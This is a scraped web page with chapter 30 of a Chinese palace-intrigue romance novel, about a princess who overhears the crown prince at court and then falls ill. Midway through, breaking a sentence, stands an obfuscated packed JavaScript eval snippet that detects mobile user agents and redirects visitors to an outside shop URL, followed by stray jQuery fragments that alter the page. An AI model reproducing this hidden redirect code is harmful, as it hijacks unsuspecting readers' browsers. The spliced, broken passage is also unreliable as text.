默认冷灰
24号文字
方正启体

30. 第 30 章

作者:甜雀本书字数:K更新时间:
    听到永元帝的话,周砚枕悄然捏紧了拳,面色微凝。


    赵清漓的肩头同样被震撼的抖了一下,但周砚枕仍发现有些不对,他在赵清漓的神色中似乎看到了一丝不易察觉的......期待?


    不似方才期待后续发展的那种期待,而是有期望、有担忧的那种复杂的期待感。


    她在期待一个答案。


    是期待他拒绝,还是......答应?


    “父皇!”


    赵辞突然朗声打断永元帝,赵清漓的心也随着他这一声立即被提到嗓子眼,手指不自觉的收紧,指甲掐在掌心留下几道浅浅的月牙小坑。


    周砚枕默不作声的把她的表情变化尽收眼底,心随之沉了一沉。


    下一刻,赵辞的话跃然耳中:“儿臣对清漓只是兄妹之情,并无其他感情。”


    他的话掷地有声,准确清晰地传达给门外二人。


    周砚枕下意识偏过头去瞧赵清漓,只见赵清漓微微抿唇,睫毛悄然垂下几分。


    赵清漓忽然觉得自己很可笑。


    听到这句回答时她竟然觉得失落,也许是因为方才真有那么一瞬间,她有想过赵辞会答应,但她又知道不会的,纵然他数次向自己表明心意,纵然他承诺过日后定会给她名分,纵然......可她就是知道,他不会在父皇面前承认的。


    同时她也气自己,明明她才是赵辞所言一般对他只有兄妹之情,可为什么她还是会觉得有一点失落。


    好奇怪。


    好吧,既然太子都这么说了。


    永元帝认真思索了一阵,突然问他:“清漓曾向朕提出要与驸马搬出宫外,这件事......你怎么看?”


    赵辞理所当然接道:“父皇若舍得,依她就是,这样日后也能少些麻烦,免得再有人向父皇诬陷我们有私。”


    “这话倒也不错。”永元帝貌似无意的观察着赵辞脸上的表情,又问,“只是不知道赵姝绾是否给人留下话柄,若清漓此时搬出宫外,会不会引起旁人揣测?”


    赵辞岂会不知永元帝每句都是试探,说了这么多,无非还是疑心他和赵清漓之间有什么。


    他假装苦恼一番,做出慎重抉择的表情:“......那就斩草除根,赵姝绾多次对您言语不敬,又诬陷皇室宗亲,这些都是灭族重罪,您一再忍让只会助长那些心术不正之人的气焰。恕儿臣直言,儿臣知晓父皇宅心仁厚,但为了江山社稷......赵姝绾和恒亲王都留不得。”


    好一个一箭双雕!


    既坚定了自己助赵清漓离宫的立场,力证自己对她并无私情,又将矛头推向赵姝绾,还暗示赵姝绾此举背后定有人推波助澜。


    赵辞的话术也极精巧,不但体恤永元帝身居高位之辛苦,还很好的为他带上高帽后又找了灭口的理由,这下永元帝那点仅存的犹豫怕是也烟消云散了。


    赵清漓听得忍不住冷笑,这就是未来的天子吗?当真好心计!


    她再也不想听到他们所说的任何一个字,无声地扯了下周砚枕的衣角,由他扶着轻轻离开。


    门内的永元帝果然认真听进去了赵辞所说,心里的天秤逐渐倾斜向另一边。


    他不由得重新审视赵辞,眉眼、神韵、个性......试图从他身上找出一些旧人的旧影,但最终没有。


    他早已记不得庄妃的模样,记不得与她曾拥有过的温存。只记得她叫傅雪莹,人如其名,是个容貌胜雪一般晶莹姣好,性情也如雪一样干净剔透的女子。


    永元帝微微眯起眼,最终吐出一句:“你与你母妃完全不同。”


    赵辞浅笑了下,恭敬道:“儿臣是父皇的儿子,自然与父皇更加相似。”


    ——————


    春桃在昭华殿外等了许久,才等到周砚枕扶着赵清漓一步一步缓缓走出来。


    她吓了一跳,在原地呆了下急忙迎上去,惊讶道:“公主怎么成这样了?去的时候不是还好吗?”


    跪那么长时间,加上一直失血还要强撑着不露破绽,谁会好的了。


    赵清漓摇摇头,示意先回去再说。


    离昭华殿越远,路上的宫人便越多,他们忍不住偷偷打量这一行三人,心中不知道在揣测些什么。


    周砚枕眼神闪烁几下,垂下颌角靠近赵清漓的耳边,小声道:“你可还能撑到回去?”


    赵清漓当下没明白他什么意思,略显茫然地仰过头看他,琉璃般剔透干净的眼眸就这样顿现在她面前,眸光中似有倒影,是她微微吃惊的样子。


    周砚枕用余光扫过远处正迎面走来的几个宫女,手里提着食盒,也不知道要去哪个宫里。


    他小声提醒道:“你身体不便,我能不能抱你回去?”


    赵清漓突然意识到周砚枕是在告诉自己,后宫中人多口杂,难免会被人传了闲话,对自己的声誉百害无利,既然刚才在殿上已经演过一把恩爱夫妻,也该一演到底。


    令她唯一觉得别扭的地方是,周砚枕身为驸马,却连抱抱她都要征求一下意见,反观赵辞......


    赵清漓看着他心中五味杂陈,他太卑微了。


    赵清漓动了动手臂,迟疑地说:“我的衣袖上都是血,会脏了你的衣裳。”


    提着食盒的宫女越来越近。


    周砚枕轻笑下,知道她同意了,弯下腰轻松把人打横抱起,待她的手已经自然地搭在他肩头,周砚枕这才回应她:“不碍事。”


    几个宫女这时候来到眼前,恭敬地问了声“公主金安、驸马金安”。


    走过时,春桃回头张望着,见她们还在掩着嘴笑,小声地议论着“感情好”之类的。


    赵清漓垂下眸子,将一身所剩无几的气力卸在周砚枕身上,第一次同他用一种撒娇的语气说道:“我累了,在你身上睡一会儿。”


    周砚枕的眼睛悄悄弯起一丝弧度,声音带着不易察觉的愉悦:“好。”


    赵清漓闭上眼,理想中和周砚枕婚后相处的景象早已变质了。


    ——————


    翌日,赵清漓毫不意外的发起了烧。


    一是伤口未能及时得到处理,还被她一次一次撕扯出血,总算是不负众望的发炎了。加之回宫那日心中惊惧,又在殿里跪了很长时间,这样一折腾,赵清漓这种娇贵的身子骨铁定熬不住。


    前来诊治的还是张御医,她手臂有伤的事不能让其他人知道,否则欺君之罪就坐实了。


    张御医这下可算是写了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999049|193936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一回真方子。


    丫鬟们不懂医理,秋穗奉命接过药方,随后立即去小厨房煎药。


    春桃在房里伺候,赵清漓额上的方巾换了三遍,药也上了,伤口也包扎好了,且等着秋穗那边煎好药后喂她喝下。


    张御医见这边没什么事了,揩了把汗向周砚枕告辞,临走又嘱咐几句,说这病得且养着,大好了才能见风,否则容易落下病根。


    周砚枕细细记下他的嘱咐,一连点头,这才把人送出去。


    带血的衣裳已经处理干净,夏荷没再回来,据说太子也安然无恙回到宫中,宫里并没有什么不着边际的谣言四起,想来是因为永元帝的缘故,没人想背上杀头灭族的罪名。


    一片寂静中,赵清漓烧的迷迷糊糊的,似乎又回到了十七夕的雨夜。


    只不过这次那人刺的不是她的喉咙,像是有意折磨她,先是刺穿她的手臂,又在她的膝上狠狠抽了两剑,她觉得好疼,好想大声叫出来。


    可是后来她发现自己根本发不出声音,嗓子像是坏掉了一样。于是她伸出手摸摸自己的脖颈,粘腻腻的,不知是什么东西黏在上面。


    赵清漓垂下脑袋,疑惑地瞧一眼自己的手掌,那上面红白相间的,分明是她的血染在手指上。


    她又想喊叫,却又没能发出声音。


    奇怪了,她不是活了吗,怎么上一世的伤口还在?


    抱着这个疑问,赵清漓大着胆子又把手伸向自己的颈间,却惊讶的发现触碰到的伤口处根本感觉不到丝毫疼痛。


    她的眼中越发茫然,这究竟是梦还是真实的?


    是梦。


    赵清漓迷迷糊糊中极其不安稳的又睡过去了。


    周砚枕趴在床边看着她,躺着的小人儿身子被裹得严严实实的,只剩一个脑袋在外头。但这张脸此时烧的通红,像颗熟透的樱桃,唇色却白了,干得有些裂角。


    他一直守在一旁,看着赵清漓一会儿眉头紧锁,一会睫毛不停地颤,脸上的挣扎之色持续了很久,一会儿缓和一会儿又起,极度不安稳。但她却愣是一声也没吭,也不知是做了什么可怕的梦。


    周砚枕心里有一丝的不适,他总觉得赵清漓的噩梦源于他和太子的所作所为,但他又不希望她的噩梦里有他,哪怕一秒,他都不想出现。


    这个想法在他心里涌现的那一刻,他突然自嘲地笑了笑。


    他也配?


    他凭什么!


    春桃端着银盆从外面推门进来,盆沿上搭着干净的方巾。


    周砚枕收回思绪,面上恢复如常,半转过身轻声问:“圣上派来的人送走了?”


    春桃眺过床榻上睡着的赵清漓,也小声回话:“送走了,只说是受了风寒,现下不好见人,旁的没什么大碍。张御医在宫中德高望重,其他人也不敢有疑。”


    周砚枕放下心,把头转回来,赵清漓已经恢复平静,看样子是已经好好入睡了。


    他缓缓起身,留下间隙让春桃为她擦脸,自己则是来到小院。


    今年的天似乎特别的凉,这才十月初,秋风竟如此的刺骨,已有入冬趋势。


    也不知,是不是心凉的缘故。


    也不知......她如何了......
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)